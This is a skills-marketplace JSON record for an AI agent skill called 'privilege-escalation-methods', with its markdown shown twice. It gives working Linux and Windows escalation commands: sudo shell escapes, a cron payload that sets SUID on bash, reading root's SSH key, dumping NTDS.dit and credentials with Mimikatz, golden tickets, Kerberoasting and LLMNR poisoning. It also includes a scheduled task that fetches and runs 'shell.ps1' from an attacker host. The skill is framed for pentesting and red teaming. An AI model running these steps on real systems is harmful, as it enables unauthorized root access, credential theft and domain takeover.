[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M714AMHT3PDCJZXRB1AG1CYV":3,"skill-same:01M714AMHT3PDCJZXRB1AG1CYV":66},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":14,"repositoryHtmlUrl":49,"repositoryHomepageUrl":6,"ownerHtmlUrl":50,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":51,"install":52,"resources":65},"01M714AMHT3PDCJZXRB1AG1CYV","privilege-escalation-methods",null,"Provide comprehensive techniques for escalating privileges from a low-privileged user to root\u002Fadministrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.","sapsapshen\u002Fai-memory-router","sapsapshen","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F20347959?v=4","01M6XDQEF1DP50DKF37H81J3J5","shenmian","01M6XDQEJPE41Y3DT2763X8ZJN",0,"MIT","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fcopilot\u002Fprivilege-escalation-methods\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"escalation","methods","Privilege Escalation Methods","privilege escalation","penetration testing","techniques","linux","for","post-exploitation","essential","windows","penetration","2026","red team operations","phase","team","unknown","access","testing","community","2026-11-10 10:12:30",false,"---\nname: privilege-escalation-methods\ndescription: \"Provide comprehensive techniques for escalating privileges from a low-privileged user to root\u002Fadministrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.\"\nrisk: unknown\nsource: community\nauthor: zebbern\ndate_added: \"2026-02-27\"\n---\n\n# Privilege Escalation Methods\n\n## Purpose\n\nProvide comprehensive techniques for escalating privileges from a low-privileged user to root\u002Fadministrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.\n\n## Inputs\u002FPrerequisites\n\n- Initial low-privilege shell access on target system\n- Kali Linux or penetration testing distribution\n- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus\n- Understanding of Windows\u002FLinux privilege models\n- For AD attacks: Domain user credentials and network access to DC\n\n## Outputs\u002FDeliverables\n\n- Root or Administrator shell access\n- Extracted credentials and hashes\n- Persistent access mechanisms\n- Domain compromise (for AD environments)\n\n---\n\n## Core Techniques\n\n### Linux Privilege Escalation\n\n#### 1. Abusing Sudo Binaries\n\nExploit misconfigured sudo permissions using GTFOBins techniques:\n\n```bash\n# Check sudo permissions\nsudo -l\n\n# Exploit common binaries\nsudo vim -c ':!\u002Fbin\u002Fbash'\nsudo find \u002Fetc\u002Fpasswd -exec \u002Fbin\u002Fbash \\;\nsudo awk 'BEGIN {system(\"\u002Fbin\u002Fbash\")}'\nsudo python -c 'import pty;pty.spawn(\"\u002Fbin\u002Fbash\")'\nsudo perl -e 'exec \"\u002Fbin\u002Fbash\";'\nsudo less \u002Fetc\u002Fhosts    # then type: !bash\nsudo man man            # then type: !bash\nsudo env \u002Fbin\u002Fbash\n```\n\n#### 2. Abusing Scheduled Tasks (Cron)\n\n```bash\n# Find writable cron scripts\nls -la \u002Fetc\u002Fcron*\ncat \u002Fetc\u002Fcrontab\n\n# Inject payload into writable script\necho 'chmod +s \u002Fbin\u002Fbash' > \u002Fhome\u002Fuser\u002Fsystemupdate.sh\nchmod +x \u002Fhome\u002Fuser\u002Fsystemupdate.sh\n\n# Wait for execution, then:\n\u002Fbin\u002Fbash -p\n```\n\n#### 3. Abusing Capabilities\n\n```bash\n# Find binaries with capabilities\ngetcap -r \u002F 2>\u002Fdev\u002Fnull\n\n# Python with cap_setuid\n\u002Fusr\u002Fbin\u002Fpython2.6 -c 'import os; os.setuid(0); os.system(\"\u002Fbin\u002Fbash\")'\n\n# Perl with cap_setuid\n\u002Fusr\u002Fbin\u002Fperl -e 'use POSIX (setuid); POSIX::setuid(0); exec \"\u002Fbin\u002Fbash\";'\n\n# Tar with cap_dac_read_search (read any file)\n\u002Fusr\u002Fbin\u002Ftar -cvf key.tar \u002Froot\u002F.ssh\u002Fid_rsa\n\u002Fusr\u002Fbin\u002Ftar -xvf key.tar\n```\n\n#### 4. NFS Root Squashing\n\n```bash\n# Check for NFS shares\nshowmount -e \u003Cvictim_ip>\n\n# Mount and exploit no_root_squash\nmkdir \u002Ftmp\u002Fmount\nmount -o rw,vers=2 \u003Cvictim_ip>:\u002Ftmp \u002Ftmp\u002Fmount\ncd \u002Ftmp\u002Fmount\ncp \u002Fbin\u002Fbash .\nchmod +s bash\n```\n\n#### 5. MySQL Running as Root\n\n```bash\n# If MySQL runs as root\nmysql -u root -p\n\\! chmod +s \u002Fbin\u002Fbash\nexit\n\u002Fbin\u002Fbash -p\n```\n\n---\n\n### Windows Privilege Escalation\n\n#### 1. Token Impersonation\n\n```powershell\n# Using SweetPotato (SeImpersonatePrivilege)\nexecute-assembly sweetpotato.exe -p beacon.exe\n\n# Using SharpImpersonation\nSharpImpersonation.exe user:\u003Cuser> technique:ImpersonateLoggedOnuser\n```\n\n#### 2. Service Abuse\n\n```powershell\n# Using PowerUp\n. .\\PowerUp.ps1\nInvoke-ServiceAbuse -Name 'vds' -UserName 'domain\\user1'\nInvoke-ServiceAbuse -Name 'browser' -UserName 'domain\\user1'\n```\n\n#### 3. Abusing SeBackupPrivilege\n\n```powershell\nimport-module .\\SeBackupPrivilegeUtils.dll\nimport-module .\\SeBackupPrivilegeCmdLets.dll\nCopy-FileSebackupPrivilege z:\\Windows\\NTDS\\ntds.dit C:\\temp\\ntds.dit\n```\n\n#### 4. Abusing SeLoadDriverPrivilege\n\n```powershell\n# Load vulnerable Capcom driver\n.\\eoploaddriver.exe System\\CurrentControlSet\\MyService C:\\test\\capcom.sys\n.\\ExploitCapcom.exe\n```\n\n#### 5. Abusing GPO\n\n```powershell\n.\\SharpGPOAbuse.exe --AddComputerTask --Taskname \"Update\" `\n  --Author DOMAIN\\\u003CUSER> --Command \"cmd.exe\" `\n  --Arguments \"\u002Fc net user Administrator Password!@# \u002Fdomain\" `\n  --GPOName \"ADDITIONAL DC CONFIGURATION\"\n```\n\n---\n\n### Active Directory Attacks\n\n#### 1. Kerberoasting\n\n```bash\n# Using Impacket\nGetUserSPNs.py domain.local\u002Fuser:password -dc-ip 10.10.10.100 -request\n\n# Using CrackMapExec\ncrackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt\n```\n\n#### 2. AS-REP Roasting\n\n```powershell\n.\\Rubeus.exe asreproast\n```\n\n#### 3. Golden Ticket\n\n```powershell\n# DCSync to get krbtgt hash\nmimikatz# lsadump::dcsync \u002Fuser:krbtgt\n\n# Create golden ticket\nmimikatz# kerberos::golden \u002Fuser:Administrator \u002Fdomain:domain.local `\n  \u002Fsid:S-1-5-21-... \u002Frc4:\u003CNTLM_HASH> \u002Fid:500\n```\n\n#### 4. Pass-the-Ticket\n\n```powershell\n.\\Rubeus.exe asktgt \u002Fuser:USER$ \u002Frc4:\u003CNTLM_HASH> \u002Fptt\nklist  # Verify ticket\n```\n\n#### 5. Golden Ticket with Scheduled Tasks\n\n```powershell\n# 1. Elevate and dump credentials\nmimikatz# token::elevate\nmimikatz# vault::cred \u002Fpatch\nmimikatz# lsadump::lsa \u002Fpatch\n\n# 2. Create golden ticket\nmimikatz# kerberos::golden \u002Fuser:Administrator \u002Frc4:\u003CHASH> `\n  \u002Fdomain:DOMAIN \u002Fsid:\u003CSID> \u002Fticket:ticket.kirbi\n\n# 3. Create scheduled task\nschtasks \u002Fcreate \u002FS DOMAIN \u002FSC Weekly \u002FRU \"NT Authority\\SYSTEM\" `\n  \u002FTN \"enterprise\" \u002FTR \"powershell.exe -c 'iex (iwr http:\u002F\u002Fattacker\u002Fshell.ps1)'\"\nschtasks \u002Frun \u002Fs DOMAIN \u002FTN \"enterprise\"\n```\n\n---\n\n### Credential Harvesting\n\n#### LLMNR Poisoning\n\n```bash\n# Start Responder\nresponder -I eth1 -v\n\n# Create malicious shortcut (Book.url)\n[InternetShortcut]\nURL=https:\u002F\u002Ffacebook.com\nIconIndex=0\nIconFile=\\\\attacker_ip\\not_found.ico\n```\n\n#### NTLM Relay\n\n```bash\nresponder -I eth1 -v\nntlmrelayx.py -tf targets.txt -smb2support\n```\n\n#### Dumping with VSS\n\n```powershell\nvssadmin create shadow \u002Ffor=C:\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\NTDS.dit C:\\temp\\\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\temp\\\n```\n\n---\n\n## Quick Reference\n\n| Technique | OS | Domain Required | Tool |\n|-----------|-----|-----------------|------|\n| Sudo Binary Abuse | Linux | No | GTFOBins |\n| Cron Job Exploit | Linux | No | Manual |\n| Capability Abuse | Linux | No | getcap |\n| NFS no_root_squash | Linux | No | mount |\n| Token Impersonation | Windows | No | SweetPotato |\n| Service Abuse | Windows | No | PowerUp |\n| Kerberoasting | Windows | Yes | Rubeus\u002FImpacket |\n| AS-REP Roasting | Windows | Yes | Rubeus |\n| Golden Ticket | Windows | Yes | Mimikatz |\n| Pass-the-Ticket | Windows | Yes | Rubeus |\n| DCSync | Windows | Yes | Mimikatz |\n| LLMNR Poisoning | Windows | Yes | Responder |\n\n---\n\n## Constraints\n\n**Must:**\n- Have initial shell access before attempting escalation\n- Verify target OS and environment before selecting technique\n- Use appropriate tool for domain vs local escalation\n\n**Must Not:**\n- Attempt techniques on production systems without authorization\n- Leave persistence mechanisms without client approval\n- Ignore detection mechanisms (EDR, SIEM)\n\n**Should:**\n- Enumerate thoroughly before exploitation\n- Document all successful escalation paths\n- Clean up artifacts after engagement\n\n---\n\n## Examples\n\n### Example 1: Linux Sudo to Root\n\n```bash\n# Check sudo permissions\n$ sudo -l\nUser www-data may run the following commands:\n    (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim\n\n# Exploit vim\n$ sudo vim -c ':!\u002Fbin\u002Fbash'\nroot@target:~# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Example 2: Windows Kerberoasting\n\n```bash\n# Request service tickets\n$ GetUserSPNs.py domain.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 -request\n\n# Crack with hashcat\n$ hashcat -m 13100 hashes.txt rockyou.txt\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |\n| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |\n| Kerberoasting returns no hashes | Check for service accounts with SPNs |\n| Token impersonation fails | Verify SeImpersonatePrivilege is present |\n| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |\n\n---\n\n## Additional Resources\n\nFor detailed enumeration scripts, use:\n- **LinPEAS**: Linux privilege escalation enumeration\n- **WinPEAS**: Windows privilege escalation enumeration\n- **BloodHound**: Active Directory attack path mapping\n- **GTFOBins**: Unix binary exploitation reference\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n","# Privilege Escalation Methods\n\n## Purpose\n\nProvide comprehensive techniques for escalating privileges from a low-privileged user to root\u002Fadministrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.\n\n## Inputs\u002FPrerequisites\n\n- Initial low-privilege shell access on target system\n- Kali Linux or penetration testing distribution\n- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus\n- Understanding of Windows\u002FLinux privilege models\n- For AD attacks: Domain user credentials and network access to DC\n\n## Outputs\u002FDeliverables\n\n- Root or Administrator shell access\n- Extracted credentials and hashes\n- Persistent access mechanisms\n- Domain compromise (for AD environments)\n\n---\n\n## Core Techniques\n\n### Linux Privilege Escalation\n\n#### 1. Abusing Sudo Binaries\n\nExploit misconfigured sudo permissions using GTFOBins techniques:\n\n```bash\n# Check sudo permissions\nsudo -l\n\n# Exploit common binaries\nsudo vim -c ':!\u002Fbin\u002Fbash'\nsudo find \u002Fetc\u002Fpasswd -exec \u002Fbin\u002Fbash \\;\nsudo awk 'BEGIN {system(\"\u002Fbin\u002Fbash\")}'\nsudo python -c 'import pty;pty.spawn(\"\u002Fbin\u002Fbash\")'\nsudo perl -e 'exec \"\u002Fbin\u002Fbash\";'\nsudo less \u002Fetc\u002Fhosts    # then type: !bash\nsudo man man            # then type: !bash\nsudo env \u002Fbin\u002Fbash\n```\n\n#### 2. Abusing Scheduled Tasks (Cron)\n\n```bash\n# Find writable cron scripts\nls -la \u002Fetc\u002Fcron*\ncat \u002Fetc\u002Fcrontab\n\n# Inject payload into writable script\necho 'chmod +s \u002Fbin\u002Fbash' > \u002Fhome\u002Fuser\u002Fsystemupdate.sh\nchmod +x \u002Fhome\u002Fuser\u002Fsystemupdate.sh\n\n# Wait for execution, then:\n\u002Fbin\u002Fbash -p\n```\n\n#### 3. Abusing Capabilities\n\n```bash\n# Find binaries with capabilities\ngetcap -r \u002F 2>\u002Fdev\u002Fnull\n\n# Python with cap_setuid\n\u002Fusr\u002Fbin\u002Fpython2.6 -c 'import os; os.setuid(0); os.system(\"\u002Fbin\u002Fbash\")'\n\n# Perl with cap_setuid\n\u002Fusr\u002Fbin\u002Fperl -e 'use POSIX (setuid); POSIX::setuid(0); exec \"\u002Fbin\u002Fbash\";'\n\n# Tar with cap_dac_read_search (read any file)\n\u002Fusr\u002Fbin\u002Ftar -cvf key.tar \u002Froot\u002F.ssh\u002Fid_rsa\n\u002Fusr\u002Fbin\u002Ftar -xvf key.tar\n```\n\n#### 4. NFS Root Squashing\n\n```bash\n# Check for NFS shares\nshowmount -e \u003Cvictim_ip>\n\n# Mount and exploit no_root_squash\nmkdir \u002Ftmp\u002Fmount\nmount -o rw,vers=2 \u003Cvictim_ip>:\u002Ftmp \u002Ftmp\u002Fmount\ncd \u002Ftmp\u002Fmount\ncp \u002Fbin\u002Fbash .\nchmod +s bash\n```\n\n#### 5. MySQL Running as Root\n\n```bash\n# If MySQL runs as root\nmysql -u root -p\n\\! chmod +s \u002Fbin\u002Fbash\nexit\n\u002Fbin\u002Fbash -p\n```\n\n---\n\n### Windows Privilege Escalation\n\n#### 1. Token Impersonation\n\n```powershell\n# Using SweetPotato (SeImpersonatePrivilege)\nexecute-assembly sweetpotato.exe -p beacon.exe\n\n# Using SharpImpersonation\nSharpImpersonation.exe user:\u003Cuser> technique:ImpersonateLoggedOnuser\n```\n\n#### 2. Service Abuse\n\n```powershell\n# Using PowerUp\n. .\\PowerUp.ps1\nInvoke-ServiceAbuse -Name 'vds' -UserName 'domain\\user1'\nInvoke-ServiceAbuse -Name 'browser' -UserName 'domain\\user1'\n```\n\n#### 3. Abusing SeBackupPrivilege\n\n```powershell\nimport-module .\\SeBackupPrivilegeUtils.dll\nimport-module .\\SeBackupPrivilegeCmdLets.dll\nCopy-FileSebackupPrivilege z:\\Windows\\NTDS\\ntds.dit C:\\temp\\ntds.dit\n```\n\n#### 4. Abusing SeLoadDriverPrivilege\n\n```powershell\n# Load vulnerable Capcom driver\n.\\eoploaddriver.exe System\\CurrentControlSet\\MyService C:\\test\\capcom.sys\n.\\ExploitCapcom.exe\n```\n\n#### 5. Abusing GPO\n\n```powershell\n.\\SharpGPOAbuse.exe --AddComputerTask --Taskname \"Update\" `\n  --Author DOMAIN\\\u003CUSER> --Command \"cmd.exe\" `\n  --Arguments \"\u002Fc net user Administrator Password!@# \u002Fdomain\" `\n  --GPOName \"ADDITIONAL DC CONFIGURATION\"\n```\n\n---\n\n### Active Directory Attacks\n\n#### 1. Kerberoasting\n\n```bash\n# Using Impacket\nGetUserSPNs.py domain.local\u002Fuser:password -dc-ip 10.10.10.100 -request\n\n# Using CrackMapExec\ncrackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt\n```\n\n#### 2. AS-REP Roasting\n\n```powershell\n.\\Rubeus.exe asreproast\n```\n\n#### 3. Golden Ticket\n\n```powershell\n# DCSync to get krbtgt hash\nmimikatz# lsadump::dcsync \u002Fuser:krbtgt\n\n# Create golden ticket\nmimikatz# kerberos::golden \u002Fuser:Administrator \u002Fdomain:domain.local `\n  \u002Fsid:S-1-5-21-... \u002Frc4:\u003CNTLM_HASH> \u002Fid:500\n```\n\n#### 4. Pass-the-Ticket\n\n```powershell\n.\\Rubeus.exe asktgt \u002Fuser:USER$ \u002Frc4:\u003CNTLM_HASH> \u002Fptt\nklist  # Verify ticket\n```\n\n#### 5. Golden Ticket with Scheduled Tasks\n\n```powershell\n# 1. Elevate and dump credentials\nmimikatz# token::elevate\nmimikatz# vault::cred \u002Fpatch\nmimikatz# lsadump::lsa \u002Fpatch\n\n# 2. Create golden ticket\nmimikatz# kerberos::golden \u002Fuser:Administrator \u002Frc4:\u003CHASH> `\n  \u002Fdomain:DOMAIN \u002Fsid:\u003CSID> \u002Fticket:ticket.kirbi\n\n# 3. Create scheduled task\nschtasks \u002Fcreate \u002FS DOMAIN \u002FSC Weekly \u002FRU \"NT Authority\\SYSTEM\" `\n  \u002FTN \"enterprise\" \u002FTR \"powershell.exe -c 'iex (iwr http:\u002F\u002Fattacker\u002Fshell.ps1)'\"\nschtasks \u002Frun \u002Fs DOMAIN \u002FTN \"enterprise\"\n```\n\n---\n\n### Credential Harvesting\n\n#### LLMNR Poisoning\n\n```bash\n# Start Responder\nresponder -I eth1 -v\n\n# Create malicious shortcut (Book.url)\n[InternetShortcut]\nURL=https:\u002F\u002Ffacebook.com\nIconIndex=0\nIconFile=\\\\attacker_ip\\not_found.ico\n```\n\n#### NTLM Relay\n\n```bash\nresponder -I eth1 -v\nntlmrelayx.py -tf targets.txt -smb2support\n```\n\n#### Dumping with VSS\n\n```powershell\nvssadmin create shadow \u002Ffor=C:\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\NTDS.dit C:\\temp\\\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\temp\\\n```\n\n---\n\n## Quick Reference\n\n| Technique | OS | Domain Required | Tool |\n|-----------|-----|-----------------|------|\n| Sudo Binary Abuse | Linux | No | GTFOBins |\n| Cron Job Exploit | Linux | No | Manual |\n| Capability Abuse | Linux | No | getcap |\n| NFS no_root_squash | Linux | No | mount |\n| Token Impersonation | Windows | No | SweetPotato |\n| Service Abuse | Windows | No | PowerUp |\n| Kerberoasting | Windows | Yes | Rubeus\u002FImpacket |\n| AS-REP Roasting | Windows | Yes | Rubeus |\n| Golden Ticket | Windows | Yes | Mimikatz |\n| Pass-the-Ticket | Windows | Yes | Rubeus |\n| DCSync | Windows | Yes | Mimikatz |\n| LLMNR Poisoning | Windows | Yes | Responder |\n\n---\n\n## Constraints\n\n**Must:**\n- Have initial shell access before attempting escalation\n- Verify target OS and environment before selecting technique\n- Use appropriate tool for domain vs local escalation\n\n**Must Not:**\n- Attempt techniques on production systems without authorization\n- Leave persistence mechanisms without client approval\n- Ignore detection mechanisms (EDR, SIEM)\n\n**Should:**\n- Enumerate thoroughly before exploitation\n- Document all successful escalation paths\n- Clean up artifacts after engagement\n\n---\n\n## Examples\n\n### Example 1: Linux Sudo to Root\n\n```bash\n# Check sudo permissions\n$ sudo -l\nUser www-data may run the following commands:\n    (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim\n\n# Exploit vim\n$ sudo vim -c ':!\u002Fbin\u002Fbash'\nroot@target:~# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Example 2: Windows Kerberoasting\n\n```bash\n# Request service tickets\n$ GetUserSPNs.py domain.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 -request\n\n# Crack with hashcat\n$ hashcat -m 13100 hashes.txt rockyou.txt\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |\n| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |\n| Kerberoasting returns no hashes | Check for service accounts with SPNs |\n| Token impersonation fails | Verify SeImpersonatePrivilege is present |\n| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |\n\n---\n\n## Additional Resources\n\nFor detailed enumeration scripts, use:\n- **LinPEAS**: Linux privilege escalation enumeration\n- **WinPEAS**: Windows privilege escalation enumeration\n- **BloodHound**: Active Directory attack path mapping\n- **GTFOBins**: Unix binary exploitation reference\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n",{"name":5,"risk":35,"author":44,"source":38,"date_added":45,"description":7},"zebbern","2026-02-27","main","7a38d8e7073e61c16eda85681cb32fb68a8657a5","skills-store\u002Fcopilot\u002Fprivilege-escalation-methods","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router","https:\u002F\u002Fgithub.com\u002Fsapsapshen","2026-04-14 21:12:12",{"source":8,"skillName":5,"commands":53,"prompt":63,"zipAvailable":64},[54,57,60],{"tool":55,"command":56},"npx","npx skills add sapsapshen\u002Fai-memory-router --skill privilege-escalation-methods",{"tool":58,"command":59},"bunx","bunx skills add sapsapshen\u002Fai-memory-router --skill privilege-escalation-methods",{"tool":61,"command":62},"pnpm","pnpm dlx skills add sapsapshen\u002Fai-memory-router --skill privilege-escalation-methods","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fcopilot\u002Fprivilege-escalation-methods\u002FSKILL.md",true,[],[67,91,117,127,140,159],{"skillNo":68,"name":69,"nameZh":6,"description":70,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":71,"categories":72,"keywords":78,"publishedAt":39},"01M71ATQRKG48SH06FQ697T5G9","wechat-search","Search WeChat Official Account articles using OpenClaw's web search and fetch capabilities with compliance-focused design.","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Fwechat-search-release\u002FSKILL.md",[73],{"categoryNo":74,"categoryName":75,"taxonomyType":76,"taxonomyTypeDesc":77},"01JBSEEDCAT000000000000037","律师与法务","PROFESSION","适用职业",[79,80,81,82,83,84,85,86,87,88,89,90],"wechat search","wechat","search","capabilities","openclaw","design","web search","compliance","web","official","fetch","with",{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":39},"01M71ATNAVGZB35PFYM2GC5N00","trend-tap","Real-time trending topics aggregator across 7 platforms (X\u002FTwitter, Reddit, Google Trends, Hacker News, Zhihu, Bilibili, Weibo). Trigger: when user says 'trend', 'trends', 'trend tap', '热点', '热搜', or asks what is trending\u002Fhot. Do NOT use web_search — this skill already fetches live data from all platforms with zero API keys.","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Ftrend-tap\u002FSKILL.md",[],[98,99,100,101,102,103,81,104,105,106,107,108,109,110,111,112,113,114,115,116],"trend","trend tap","tap","api keys","Bash","time","trending","hacker","aggregator","do","when","brew","live","data","google","install","read","across","api",{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":39},"01M71ATJ9AM5KM15AA8PS302EB","trend-radar","Real-time trending topics aggregator across 7 platforms (X\u002FTwitter, Reddit, Google Trends, Hacker News, Zhihu, Bilibili, Weibo). Trigger: when user says 'trend', 'trends', 'trend pulse', '热点', '热搜', or asks what is trending\u002Fhot. Do NOT use web_search — this skill already fetches live data from all platforms with zero API keys.","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Ftrend-radar\u002FSKILL.md",[],[124,125,98,109,110,111,112,102,81,114,126,115,116,108,106,105,104,113,103,101],"trend radar","radar","pulse",{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":131,"categories":132,"keywords":133,"publishedAt":39},"01M71ATGF095N3EJM9G8SD0BB5","tech-news-daily","每日科技新闻汇——从全球多个 RSS 源抓取最新科技新闻，翻译（英→中）、去重、排版成每日简报。当用户询问科技新闻、科技新鲜事、每日科技、技术动态、Daily Tech News 或类似表达时触发此技能。","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Ftech-news-daily\u002FSKILL.md",[],[134,135,136,137,138,139],"news","tech","tech news daily","daily","rss","翻译",{"skillNo":141,"name":142,"nameZh":6,"description":143,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":144,"categories":145,"keywords":151,"publishedAt":39},"01M71ATFAEAMQ17M70NQNY7SR8","summarize","Summarize URLs or files with the summarize CLI (web, PDFs, images, audio, YouTube).","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Fsummarize\u002FSKILL.md",[146],{"categoryNo":147,"categoryName":148,"taxonomyType":149,"taxonomyTypeDesc":150},"01JBSEEDCAT000000000000021","资料检索与研究","SCENARIO","使用场景",[142,87,152,153,154,90,109,155,156,157,100,158,113],"Audio","cli","youtube","images","https","files","pdfs",{"skillNo":160,"name":161,"nameZh":6,"description":162,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":163,"categories":164,"keywords":165,"publishedAt":39},"01M71ATDNS3R0M4H936PACQAWZ","sonoscli","Control Sonos speakers (discover\u002Fstatus\u002Fplay\u002Fvolume\u002Fgroup).","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Fsonoscli\u002FSKILL.md",[],[161,166,167,168,113,169,156,170,171,172,173,174],"status","play","go","latest","github","discover","control","cmd","volume"]